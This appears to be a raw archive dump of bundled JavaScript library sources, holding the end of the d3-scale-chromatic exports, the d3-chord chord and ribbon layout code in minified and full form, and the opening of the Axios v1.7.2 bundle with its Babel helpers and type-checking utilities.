exports.schemePurples = scheme$o;
exports.interpolateReds = Reds;
exports.schemeReds = scheme$p;
exports.interpolateOranges = Oranges;
exports.schemeOranges = scheme$q;
exports.interpolateCubehelixDefault = cubehelix;
exports.interpolateRainbow = rainbow;
exports.interpolateWarm = warm;
exports.interpolateCool = cool;
exports.interpolateSinebow = sinebow;
exports.interpolateViridis = viridis;
exports.interpolateMagma = magma;
exports.interpolateInferno = inferno;
exports.interpolatePlasma = plasma;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-chord.min.js000064400000005240151677266450007313 0ustar00// https://d3js.org/d3-chord/ v1.0.6 Copyright 2018 Mike Bostock
!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("d3-array"),require("d3-path")):"function"==typeof define&&define.amd?define(["exports","d3-array","d3-path"],t):t(n.d3=n.d3||{},n.d3,n.d3)}(this,function(n,t,r){"use strict";var e=Math.cos,u=Math.sin,o=Math.PI,a=o/2,l=2*o,i=Math.max;var c=Array.prototype.slice;function f(n){return function(){return n}}function s(n){return n.source}function p(n){return n.target}function h(n){return n.radius}function d(n){return n.startAngle}function g(n){return n.endAngle}n.chord=function(){var n=0,r=null,e=null,u=null;function o(o){var a,c,f,s,p,h,d=o.length,g=[],v=t.range(d),y=[],A=[],x=A.groups=new Array(d),b=new Array(d*d);for(a=0,p=-1;++p<d;){for(c=0,h=-1;++h<d;)c+=o[p][h];g.push(c),y.push(t.range(d)),a+=c}for(r&&v.sort(function(n,t){return r(g[n],g[t])}),e&&y.forEach(function(n,t){n.sort(function(n,r){return e(o[t][n],o[t][r])})}),s=(a=i(0,l-n*d)/a)?n:l/d,c=0,p=-1;++p<d;){for(f=c,h=-1;++h<d;){var M=v[p],m=y[M][h],q=o[M][m],_=c,C=c+=q*a;b[m*d+M]={index:M,subindex:m,startAngle:_,endAngle:C,value:q}}x[M]={index:M,startAngle:f,endAngle:c,value:g[M]},c+=s}for(p=-1;++p<d;)for(h=p-1;++h<d;){var P=b[h*d+p],T=b[p*d+h];(P.value||T.value)&&A.push(P.value<T.value?{source:T,target:P}:{source:P,target:T})}return u?A.sort(u):A}return o.padAngle=function(t){return arguments.length?(n=i(0,t),o):n},o.sortGroups=function(n){return arguments.length?(r=n,o):r},o.sortSubgroups=function(n){return arguments.length?(e=n,o):e},o.sortChords=function(n){return arguments.length?(null==n?u=null:(t=n,u=function(n,r){return t(n.source.value+n.target.value,r.source.value+r.target.value)})._=n,o):u&&u._;var t},o},n.ribbon=function(){var n=s,t=p,o=h,l=d,i=g,v=null;function y(){var f,s=c.call(arguments),p=n.apply(this,s),h=t.apply(this,s),d=+o.apply(this,(s[0]=p,s)),g=l.apply(this,s)-a,y=i.apply(this,s)-a,A=d*e(g),x=d*u(g),b=+o.apply(this,(s[0]=h,s)),M=l.apply(this,s)-a,m=i.apply(this,s)-a;if(v||(v=f=r.path()),v.moveTo(A,x),v.arc(0,0,d,g,y),g===M&&y===m||(v.quadraticCurveTo(0,0,b*e(M),b*u(M)),v.arc(0,0,b,M,m)),v.quadraticCurveTo(0,0,A,x),v.closePath(),f)return v=null,f+""||null}return y.radius=function(n){return arguments.length?(o="function"==typeof n?n:f(+n),y):o},y.startAngle=function(n){return arguments.length?(l="function"==typeof n?n:f(+n),y):l},y.endAngle=function(n){return arguments.length?(i="function"==typeof n?n:f(+n),y):i},y.source=function(t){return arguments.length?(n=t,y):n},y.target=function(n){return arguments.length?(t=n,y):t},y.context=function(n){return arguments.length?(v=null==n?null:n,y):v},y},Object.defineProperty(n,"__esModule",{value:!0})});
d3-chord.js000064400000014273151677266450006537 0ustar00// https://d3js.org/d3-chord/ v1.0.6 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-array'), require('d3-path')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-array', 'd3-path'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3,global.d3));
}(this, (function (exports,d3Array,d3Path) { 'use strict';

var cos = Math.cos;
var sin = Math.sin;
var pi = Math.PI;
var halfPi = pi / 2;
var tau = pi * 2;
var max = Math.max;

function compareValue(compare) {
  return function(a, b) {
    return compare(
      a.source.value + a.target.value,
      b.source.value + b.target.value
    );
  };
}

function chord() {
  var padAngle = 0,
      sortGroups = null,
      sortSubgroups = null,
      sortChords = null;

  function chord(matrix) {
    var n = matrix.length,
        groupSums = [],
        groupIndex = d3Array.range(n),
        subgroupIndex = [],
        chords = [],
        groups = chords.groups = new Array(n),
        subgroups = new Array(n * n),
        k,
        x,
        x0,
        dx,
        i,
        j;

    // Compute the sum.
    k = 0, i = -1; while (++i < n) {
      x = 0, j = -1; while (++j < n) {
        x += matrix[i][j];
      }
      groupSums.push(x);
      subgroupIndex.push(d3Array.range(n));
      k += x;
    }

    // Sort groups…
    if (sortGroups) groupIndex.sort(function(a, b) {
      return sortGroups(groupSums[a], groupSums[b]);
    });

    // Sort subgroups…
    if (sortSubgroups) subgroupIndex.forEach(function(d, i) {
      d.sort(function(a, b) {
        return sortSubgroups(matrix[i][a], matrix[i][b]);
      });
    });

    // Convert the sum to scaling factor for [0, 2pi].
    // TODO Allow start and end angle to be specified?
    // TODO Allow padding to be specified as percentage?
    k = max(0, tau - padAngle * n) / k;
    dx = k ? padAngle : tau / n;

    // Compute the start and end angle for each group and subgroup.
    // Note: Opera has a bug reordering object literal properties!
    x = 0, i = -1; while (++i < n) {
      x0 = x, j = -1; while (++j < n) {
        var di = groupIndex[i],
            dj = subgroupIndex[di][j],
            v = matrix[di][dj],
            a0 = x,
            a1 = x += v * k;
        subgroups[dj * n + di] = {
          index: di,
          subindex: dj,
          startAngle: a0,
          endAngle: a1,
          value: v
        };
      }
      groups[di] = {
        index: di,
        startAngle: x0,
        endAngle: x,
        value: groupSums[di]
      };
      x += dx;
    }

    // Generate chords for each (non-empty) subgroup-subgroup link.
    i = -1; while (++i < n) {
      j = i - 1; while (++j < n) {
        var source = subgroups[j * n + i],
            target = subgroups[i * n + j];
        if (source.value || target.value) {
          chords.push(source.value < target.value
              ? {source: target, target: source}
              : {source: source, target: target});
        }
      }
    }

    return sortChords ? chords.sort(sortChords) : chords;
  }

  chord.padAngle = function(_) {
    return arguments.length ? (padAngle = max(0, _), chord) : padAngle;
  };

  chord.sortGroups = function(_) {
    return arguments.length ? (sortGroups = _, chord) : sortGroups;
  };

  chord.sortSubgroups = function(_) {
    return arguments.length ? (sortSubgroups = _, chord) : sortSubgroups;
  };

  chord.sortChords = function(_) {
    return arguments.length ? (_ == null ? sortChords = null : (sortChords = compareValue(_))._ = _, chord) : sortChords && sortChords._;
  };

  return chord;
}

var slice = Array.prototype.slice;

function constant(x) {
  return function() {
    return x;
  };
}

function defaultSource(d) {
  return d.source;
}

function defaultTarget(d) {
  return d.target;
}

function defaultRadius(d) {
  return d.radius;
}

function defaultStartAngle(d) {
  return d.startAngle;
}

function defaultEndAngle(d) {
  return d.endAngle;
}

function ribbon() {
  var source = defaultSource,
      target = defaultTarget,
      radius = defaultRadius,
      startAngle = defaultStartAngle,
      endAngle = defaultEndAngle,
      context = null;

  function ribbon() {
    var buffer,
        argv = slice.call(arguments),
        s = source.apply(this, argv),
        t = target.apply(this, argv),
        sr = +radius.apply(this, (argv[0] = s, argv)),
        sa0 = startAngle.apply(this, argv) - halfPi,
        sa1 = endAngle.apply(this, argv) - halfPi,
        sx0 = sr * cos(sa0),
        sy0 = sr * sin(sa0),
        tr = +radius.apply(this, (argv[0] = t, argv)),
        ta0 = startAngle.apply(this, argv) - halfPi,
        ta1 = endAngle.apply(this, argv) - halfPi;

    if (!context) context = buffer = d3Path.path();

    context.moveTo(sx0, sy0);
    context.arc(0, 0, sr, sa0, sa1);
    if (sa0 !== ta0 || sa1 !== ta1) { // TODO sr !== tr?
      context.quadraticCurveTo(0, 0, tr * cos(ta0), tr * sin(ta0));
      context.arc(0, 0, tr, ta0, ta1);
    }
    context.quadraticCurveTo(0, 0, sx0, sy0);
    context.closePath();

    if (buffer) return context = null, buffer + "" || null;
  }

  ribbon.radius = function(_) {
    return arguments.length ? (radius = typeof _ === "function" ? _ : constant(+_), ribbon) : radius;
  };

  ribbon.startAngle = function(_) {
    return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : startAngle;
  };

  ribbon.endAngle = function(_) {
    return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : endAngle;
  };

  ribbon.source = function(_) {
    return arguments.length ? (source = _, ribbon) : source;
  };

  ribbon.target = function(_) {
    return arguments.length ? (target = _, ribbon) : target;
  };

  ribbon.context = function(_) {
    return arguments.length ? ((context = _ == null ? null : _), ribbon) : context;
  };

  return ribbon;
}

exports.chord = chord;
exports.ribbon = ribbon;

Object.defineProperty(exports, '__esModule', { value: true });

})));
axios.js000064400000421271151677271550006254 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
  typeof define === 'function' && define.amd ? define(factory) :
  (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.axios = factory());
})(this, (function () { 'use strict';

  function _AsyncGenerator(e) {
    var r, t;
    function resume(r, t) {
      try {
        var n = e[r](t),
          o = n.value,
          u = o instanceof _OverloadYield;
        Promise.resolve(u ? o.v : o).then(function (t) {
          if (u) {
            var i = "return" === r ? "return" : "next";
            if (!o.k || t.done) return resume(i, t);
            t = e[i](t).value;
          }
          settle(n.done ? "return" : "normal", t);
        }, function (e) {
          resume("throw", e);
        });
      } catch (e) {
        settle("throw", e);
      }
    }
    function settle(e, n) {
      switch (e) {
        case "return":
          r.resolve({
            value: n,
            done: !0
          });
          break;
        case "throw":
          r.reject(n);
          break;
        default:
          r.resolve({
            value: n,
            done: !1
          });
      }
      (r = r.next) ? resume(r.key, r.arg) : t = null;
    }
    this._invoke = function (e, n) {
      return new Promise(function (o, u) {
        var i = {
          key: e,
          arg: n,
          resolve: o,
          reject: u,
          next: null
        };
        t ? t = t.next = i : (r = t = i, resume(e, n));
      });
    }, "function" != typeof e.return && (this.return = void 0);
  }
  _AsyncGenerator.prototype["function" == typeof Symbol && Symbol.asyncIterator || "@@asyncIterator"] = function () {
    return this;
  }, _AsyncGenerator.prototype.next = function (e) {
    return this._invoke("next", e);
  }, _AsyncGenerator.prototype.throw = function (e) {
    return this._invoke("throw", e);
  }, _AsyncGenerator.prototype.return = function (e) {
    return this._invoke("return", e);
  };
  function _OverloadYield(t, e) {
    this.v = t, this.k = e;
  }
  function _asyncGeneratorDelegate(t) {
    var e = {},
      n = !1;
    function pump(e, r) {
      return n = !0, r = new Promise(function (n) {
        n(t[e](r));
      }), {
        done: !1,
        value: new _OverloadYield(r, 1)
      };
    }
    return e["undefined" != typeof Symbol && Symbol.iterator || "@@iterator"] = function () {
      return this;
    }, e.next = function (t) {
      return n ? (n = !1, t) : pump("next", t);
    }, "function" == typeof t.throw && (e.throw = function (t) {
      if (n) throw n = !1, t;
      return pump("throw", t);
    }), "function" == typeof t.return && (e.return = function (t) {
      return n ? (n = !1, t) : pump("return", t);
    }), e;
  }
  function _asyncIterator(r) {
    var n,
      t,
      o,
      e = 2;
    for ("undefined" != typeof Symbol && (t = Symbol.asyncIterator, o = Symbol.iterator); e--;) {
      if (t && null != (n = r[t])) return n.call(r);
      if (o && null != (n = r[o])) return new AsyncFromSyncIterator(n.call(r));
      t = "@@asyncIterator", o = "@@iterator";
    }
    throw new TypeError("Object is not async iterable");
  }
  function AsyncFromSyncIterator(r) {
    function AsyncFromSyncIteratorContinuation(r) {
      if (Object(r) !== r) return Promise.reject(new TypeError(r + " is not an object."));
      var n = r.done;
      return Promise.resolve(r.value).then(function (r) {
        return {
          value: r,
          done: n
        };
      });
    }
    return AsyncFromSyncIterator = function (r) {
      this.s = r, this.n = r.next;
    }, AsyncFromSyncIterator.prototype = {
      s: null,
      n: null,
      next: function () {
        return AsyncFromSyncIteratorContinuation(this.n.apply(this.s, arguments));
      },
      return: function (r) {
        var n = this.s.return;
        return void 0 === n ? Promise.resolve({
          value: r,
          done: !0
        }) : AsyncFromSyncIteratorContinuation(n.apply(this.s, arguments));
      },
      throw: function (r) {
        var n = this.s.return;
        return void 0 === n ? Promise.reject(r) : AsyncFromSyncIteratorContinuation(n.apply(this.s, arguments));
      }
    }, new AsyncFromSyncIterator(r);
  }
  function _awaitAsyncGenerator(e) {
    return new _OverloadYield(e, 0);
  }
  function _iterableToArrayLimit(r, l) {
    var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"];
    if (null != t) {
      var e,
        n,
        i,
        u,
        a = [],
        f = !0,
        o = !1;
      try {
        if (i = (t = t.call(r)).next, 0 === l) {
          if (Object(t) !== t) return;
          f = !1;
        } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0);
      } catch (r) {
        o = !0, n = r;
      } finally {
        try {
          if (!f && null != t.return && (u = t.return(), Object(u) !== u)) return;
        } finally {
          if (o) throw n;
        }
      }
      return a;
    }
  }
  function ownKeys(e, r) {
    var t = Object.keys(e);
    if (Object.getOwnPropertySymbols) {
      var o = Object.getOwnPropertySymbols(e);
      r && (o = o.filter(function (r) {
        return Object.getOwnPropertyDescriptor(e, r).enumerable;
      })), t.push.apply(t, o);
    }
    return t;
  }
  function _objectSpread2(e) {
    for (var r = 1; r < arguments.length; r++) {
      var t = null != arguments[r] ? arguments[r] : {};
      r % 2 ? ownKeys(Object(t), !0).forEach(function (r) {
        _defineProperty(e, r, t[r]);
      }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) {
        Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r));
      });
    }
    return e;
  }
  function _regeneratorRuntime() {
    _regeneratorRuntime = function () {
      return e;
    };
    var t,
      e = {},
      r = Object.prototype,
      n = r.hasOwnProperty,
      o = Object.defineProperty || function (t, e, r) {
        t[e] = r.value;
      },
      i = "function" == typeof Symbol ? Symbol : {},
      a = i.iterator || "@@iterator",
      c = i.asyncIterator || "@@asyncIterator",
      u = i.toStringTag || "@@toStringTag";
    function define(t, e, r) {
      return Object.defineProperty(t, e, {
        value: r,
        enumerable: !0,
        configurable: !0,
        writable: !0
      }), t[e];
    }
    try {
      define({}, "");
    } catch (t) {
      define = function (t, e, r) {
        return t[e] = r;
      };
    }
    function wrap(t, e, r, n) {
      var i = e && e.prototype instanceof Generator ? e : Generator,
        a = Object.create(i.prototype),
        c = new Context(n || []);
      return o(a, "_invoke", {
        value: makeInvokeMethod(t, r, c)
      }), a;
    }
    function tryCatch(t, e, r) {
      try {
        return {
          type: "normal",
          arg: t.call(e, r)
        };
      } catch (t) {
        return {
          type: "throw",
          arg: t
        };
      }
    }
    e.wrap = wrap;
    var h = "suspendedStart",
      l = "suspendedYield",
      f = "executing",
      s = "completed",
      y = {};
    function Generator() {}
    function GeneratorFunction() {}
    function GeneratorFunctionPrototype() {}
    var p = {};
    define(p, a, function () {
      return this;
    });
    var d = Object.getPrototypeOf,
      v = d && d(d(values([])));
    v && v !== r && n.call(v, a) && (p = v);
    var g = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(p);
    function defineIteratorMethods(t) {
      ["next", "throw", "return"].forEach(function (e) {
        define(t, e, function (t) {
          return this._invoke(e, t);
        });
      });
    }
    function AsyncIterator(t, e) {
      function invoke(r, o, i, a) {
        var c = tryCatch(t[r], t, o);
        if ("throw" !== c.type) {
          var u = c.arg,
            h = u.value;
          return h && "object" == typeof h && n.call(h, "__await") ? e.resolve(h.__await).then(function (t) {
            invoke("next", t, i, a);
          }, function (t) {
            invoke("throw", t, i, a);
          }) : e.resolve(h).then(function (t) {
            u.value = t, i(u);
          }, function (t) {
            return invoke("throw", t, i, a);
          });
        }
        a(c.arg);
      }
      var r;
      o(this, "_invoke", {
        value: function (t, n) {
          function callInvokeWithMethodAndArg() {
            return new e(function (e, r) {
              invoke(t, n, e, r);
            });
          }
          return r = r ? r.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg();
        }
      });
    }
    function makeInvokeMethod(e, r, n) {
      var o = h;
      return function (i, a) {
        if (o === f) throw new Error("Generator is already running");
        if (o === s) {
          if ("throw" === i) throw a;
          return {
            value: t,
            done: !0
          };
        }
        for (n.method = i, n.arg = a;;) {
          var c = n.delegate;
          if (c) {
            var u = maybeInvokeDelegate(c, n);
            if (u) {
              if (u === y) continue;
              return u;
            }
          }
          if ("next" === n.method) n.sent = n._sent = n.arg;else if ("throw" === n.method) {
            if (o === h) throw o = s, n.arg;
            n.dispatchException(n.arg);
          } else "return" === n.method && n.abrupt("return", n.arg);
          o = f;
          var p = tryCatch(e, r, n);
          if ("normal" === p.type) {
            if (o = n.done ? s : l, p.arg === y) continue;
            return {
              value: p.arg,
              done: n.done
            };
          }
          "throw" === p.type && (o = s, n.method = "throw", n.arg = p.arg);
        }
      };
    }
    function maybeInvokeDelegate(e, r) {
      var n = r.method,
        o = e.iterator[n];
      if (o === t) return r.delegate = null, "throw" === n && e.iterator.return && (r.method = "return", r.arg = t, maybeInvokeDelegate(e, r), "throw" === r.method) || "return" !== n && (r.method = "throw", r.arg = new TypeError("The iterator does not provide a '" + n + "' method")), y;
      var i = tryCatch(o, e.iterator, r.arg);
      if ("throw" === i.type) return r.method = "throw", r.arg = i.arg, r.delegate = null, y;
      var a = i.arg;
      return a ? a.done ? (r[e.resultName] = a.value, r.next = e.nextLoc, "return" !== r.method && (r.method = "next", r.arg = t), r.delegate = null, y) : a : (r.method = "throw", r.arg = new TypeError("iterator result is not an object"), r.delegate = null, y);
    }
    function pushTryEntry(t) {
      var e = {
        tryLoc: t[0]
      };
      1 in t && (e.catchLoc = t[1]), 2 in t && (e.finallyLoc = t[2], e.afterLoc = t[3]), this.tryEntries.push(e);
    }
    function resetTryEntry(t) {
      var e = t.completion || {};
      e.type = "normal", delete e.arg, t.completion = e;
    }
    function Context(t) {
      this.tryEntries = [{
        tryLoc: "root"
      }], t.forEach(pushTryEntry, this), this.reset(!0);
    }
    function values(e) {
      if (e || "" === e) {
        var r = e[a];
        if (r) return r.call(e);
        if ("function" == typeof e.next) return e;
        if (!isNaN(e.length)) {
          var o = -1,
            i = function next() {
              for (; ++o < e.length;) if (n.call(e, o)) return next.value = e[o], next.done = !1, next;
              return next.value = t, next.done = !0, next;
            };
          return i.next = i;
        }
      }
      throw new TypeError(typeof e + " is not iterable");
    }
    return GeneratorFunction.prototype = GeneratorFunctionPrototype, o(g, "constructor", {
      value: GeneratorFunctionPrototype,
      configurable: !0
    }), o(GeneratorFunctionPrototype, "constructor", {
      value: GeneratorFunction,
      configurable: !0
    }), GeneratorFunction.displayName = define(GeneratorFunctionPrototype, u, "GeneratorFunction"), e.isGeneratorFunction = function (t) {
      var e = "function" == typeof t && t.constructor;
      return !!e && (e === GeneratorFunction || "GeneratorFunction" === (e.displayName || e.name));
    }, e.mark = function (t) {
      return Object.setPrototypeOf ? Object.setPrototypeOf(t, GeneratorFunctionPrototype) : (t.__proto__ = GeneratorFunctionPrototype, define(t, u, "GeneratorFunction")), t.prototype = Object.create(g), t;
    }, e.awrap = function (t) {
      return {
        __await: t
      };
    }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, c, function () {
      return this;
    }), e.AsyncIterator = AsyncIterator, e.async = function (t, r, n, o, i) {
      void 0 === i && (i = Promise);
      var a = new AsyncIterator(wrap(t, r, n, o), i);
      return e.isGeneratorFunction(r) ? a : a.next().then(function (t) {
        return t.done ? t.value : a.next();
      });
    }, defineIteratorMethods(g), define(g, u, "Generator"), define(g, a, function () {
      return this;
    }), define(g, "toString", function () {
      return "[object Generator]";
    }), e.keys = function (t) {
      var e = Object(t),
        r = [];
      for (var n in e) r.push(n);
      return r.reverse(), function next() {
        for (; r.length;) {
          var t = r.pop();
          if (t in e) return next.value = t, next.done = !1, next;
        }
        return next.done = !0, next;
      };
    }, e.values = values, Context.prototype = {
      constructor: Context,
      reset: function (e) {
        if (this.prev = 0, this.next = 0, this.sent = this._sent = t, this.done = !1, this.delegate = null, this.method = "next", this.arg = t, this.tryEntries.forEach(resetTryEntry), !e) for (var r in this) "t" === r.charAt(0) && n.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = t);
      },
      stop: function () {
        this.done = !0;
        var t = this.tryEntries[0].completion;
        if ("throw" === t.type) throw t.arg;
        return this.rval;
      },
      dispatchException: function (e) {
        if (this.done) throw e;
        var r = this;
        function handle(n, o) {
          return a.type = "throw", a.arg = e, r.next = n, o && (r.method = "next", r.arg = t), !!o;
        }
        for (var o = this.tryEntries.length - 1; o >= 0; --o) {
          var i = this.tryEntries[o],
            a = i.completion;
          if ("root" === i.tryLoc) return handle("end");
          if (i.tryLoc <= this.prev) {
            var c = n.call(i, "catchLoc"),
              u = n.call(i, "finallyLoc");
            if (c && u) {
              if (this.prev < i.catchLoc) return handle(i.catchLoc, !0);
              if (this.prev < i.finallyLoc) return handle(i.finallyLoc);
            } else if (c) {
              if (this.prev < i.catchLoc) return handle(i.catchLoc, !0);
            } else {
              if (!u) throw new Error("try statement without catch or finally");
              if (this.prev < i.finallyLoc) return handle(i.finallyLoc);
            }
          }
        }
      },
      abrupt: function (t, e) {
        for (var r = this.tryEntries.length - 1; r >= 0; --r) {
          var o = this.tryEntries[r];
          if (o.tryLoc <= this.prev && n.call(o, "finallyLoc") && this.prev < o.finallyLoc) {
            var i = o;
            break;
          }
        }
        i && ("break" === t || "continue" === t) && i.tryLoc <= e && e <= i.finallyLoc && (i = null);
        var a = i ? i.completion : {};
        return a.type = t, a.arg = e, i ? (this.method = "next", this.next = i.finallyLoc, y) : this.complete(a);
      },
      complete: function (t, e) {
        if ("throw" === t.type) throw t.arg;
        return "break" === t.type || "continue" === t.type ? this.next = t.arg : "return" === t.type ? (this.rval = this.arg = t.arg, this.method = "return", this.next = "end") : "normal" === t.type && e && (this.next = e), y;
      },
      finish: function (t) {
        for (var e = this.tryEntries.length - 1; e >= 0; --e) {
          var r = this.tryEntries[e];
          if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), resetTryEntry(r), y;
        }
      },
      catch: function (t) {
        for (var e = this.tryEntries.length - 1; e >= 0; --e) {
          var r = this.tryEntries[e];
          if (r.tryLoc === t) {
            var n = r.completion;
            if ("throw" === n.type) {
              var o = n.arg;
              resetTryEntry(r);
            }
            return o;
          }
        }
        throw new Error("illegal catch attempt");
      },
      delegateYield: function (e, r, n) {
        return this.delegate = {
          iterator: values(e),
          resultName: r,
          nextLoc: n
        }, "next" === this.method && (this.arg = t), y;
      }
    }, e;
  }
  function _toPrimitive(t, r) {
    if ("object" != typeof t || !t) return t;
    var e = t[Symbol.toPrimitive];
    if (void 0 !== e) {
      var i = e.call(t, r || "default");
      if ("object" != typeof i) return i;
      throw new TypeError("@@toPrimitive must return a primitive value.");
    }
    return ("string" === r ? String : Number)(t);
  }
  function _toPropertyKey(t) {
    var i = _toPrimitive(t, "string");
    return "symbol" == typeof i ? i : String(i);
  }
  function _typeof(o) {
    "@babel/helpers - typeof";

    return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) {
      return typeof o;
    } : function (o) {
      return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o;
    }, _typeof(o);
  }
  function _wrapAsyncGenerator(fn) {
    return function () {
      return new _AsyncGenerator(fn.apply(this, arguments));
    };
  }
  function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
    try {
      var info = gen[key](arg);
      var value = info.value;
    } catch (error) {
      reject(error);
      return;
    }
    if (info.done) {
      resolve(value);
    } else {
      Promise.resolve(value).then(_next, _throw);
    }
  }
  function _asyncToGenerator(fn) {
    return function () {
      var self = this,
        args = arguments;
      return new Promise(function (resolve, reject) {
        var gen = fn.apply(self, args);
        function _next(value) {
          asyncGeneratorStep(gen, resolve, reject, _next, _throw, "next", value);
        }
        function _throw(err) {
          asyncGeneratorStep(gen, resolve, reject, _next, _throw, "throw", err);
        }
        _next(undefined);
      });
    };
  }
  function _classCallCheck(instance, Constructor) {
    if (!(instance instanceof Constructor)) {
      throw new TypeError("Cannot call a class as a function");
    }
  }
  function _defineProperties(target, props) {
    for (var i = 0; i < props.length; i++) {
      var descriptor = props[i];
      descriptor.enumerable = descriptor.enumerable || false;
      descriptor.configurable = true;
      if ("value" in descriptor) descriptor.writable = true;
      Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor);
    }
  }
  function _createClass(Constructor, protoProps, staticProps) {
    if (protoProps) _defineProperties(Constructor.prototype, protoProps);
    if (staticProps) _defineProperties(Constructor, staticProps);
    Object.defineProperty(Constructor, "prototype", {
      writable: false
    });
    return Constructor;
  }
  function _defineProperty(obj, key, value) {
    key = _toPropertyKey(key);
    if (key in obj) {
      Object.defineProperty(obj, key, {
        value: value,
        enumerable: true,
        configurable: true,
        writable: true
      });
    } else {
      obj[key] = value;
    }
    return obj;
  }
  function _slicedToArray(arr, i) {
    return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest();
  }
  function _toArray(arr) {
    return _arrayWithHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableRest();
  }
  function _toConsumableArray(arr) {
    return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
  }
  function _arrayWithoutHoles(arr) {
    if (Array.isArray(arr)) return _arrayLikeToArray(arr);
  }
  function _arrayWithHoles(arr) {
    if (Array.isArray(arr)) return arr;
  }
  function _iterableToArray(iter) {
    if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter);
  }
  function _unsupportedIterableToArray(o, minLen) {
    if (!o) return;
    if (typeof o === "string") return _arrayLikeToArray(o, minLen);
    var n = Object.prototype.toString.call(o).slice(8, -1);
    if (n === "Object" && o.constructor) n = o.constructor.name;
    if (n === "Map" || n === "Set") return Array.from(o);
    if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
  }
  function _arrayLikeToArray(arr, len) {
    if (len == null || len > arr.length) len = arr.length;
    for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];
    return arr2;
  }
  function _nonIterableSpread() {
    throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
  }
  function _nonIterableRest() {
    throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
  }
  function _createForOfIteratorHelper(o, allowArrayLike) {
    var it = typeof Symbol !== "undefined" && o[Symbol.iterator] || o["@@iterator"];
    if (!it) {
      if (Array.isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") {
        if (it) o = it;
        var i = 0;
        var F = function () {};
        return {
          s: F,
          n: function () {
            if (i >= o.length) return {
              done: true
            };
            return {
              done: false,
              value: o[i++]
            };
          },
          e: function (e) {
            throw e;
          },
          f: F
        };
      }
      throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
    }
    var normalCompletion = true,
      didErr = false,
      err;
    return {
      s: function () {
        it = it.call(o);
      },
      n: function () {
        var step = it.next();
        normalCompletion = step.done;
        return step;
      },
      e: function (e) {
        didErr = true;
        err = e;
      },
      f: function () {
        try {
          if (!normalCompletion && it.return != null) it.return();
        } finally {
          if (didErr) throw err;
        }
      }
    };
  }

  function bind(fn, thisArg) {
    return function wrap() {
      return fn.apply(thisArg, arguments);
    };
  }

  // utils is a library of generic helper functions non-specific to axios

  var toString = Object.prototype.toString;
  var getPrototypeOf = Object.getPrototypeOf;
  var kindOf = function (cache) {
    return function (thing) {
      var str = toString.call(thing);
      return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());
    };
  }(Object.create(null));
  var kindOfTest = function kindOfTest(type) {
    type = type.toLowerCase();
    return function (thing) {
      return kindOf(thing) === type;
    };
  };
  var typeOfTest = function typeOfTest(type) {
    return function (thing) {
      return _typeof(thing) === type;
    };
  };

  /**
   * Determine if a value is an Array
   *
   * @param {Object} val The value to test
   *
   * @returns {boolean} True if value is an Array, otherwise false
   */
  var isArray = Array.isArray;

  /**
   * Determine if a value is undefined
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if the value is undefined, otherwise false
   */
  var isUndefined = typeOfTest('undefined');

  /**
   * Determine if a value is a Buffer
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a Buffer, otherwise false
   */
  function isBuffer(val) {
    return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);
  }

  /**
   * Determine if a value is an ArrayBuffer
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is an ArrayBuffer, otherwise false
   */
  var isArrayBuffer = kindOfTest('ArrayBuffer');

  /**
   * Determine if a value is a view on an ArrayBuffer
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
   */
  function isArrayBufferView(val) {
    var result;
    if (typeof ArrayBuffer !== 'undefined' && ArrayBuffer.isView) {
      result = ArrayBuffer.isView(val);
    } else {
      result = val && val.buffer && isArrayBuffer(val.buffer);
    }
    return result;
  }

  /**
   * Determine if a value is a String
   *
   * @param {*} val The value to test
   *
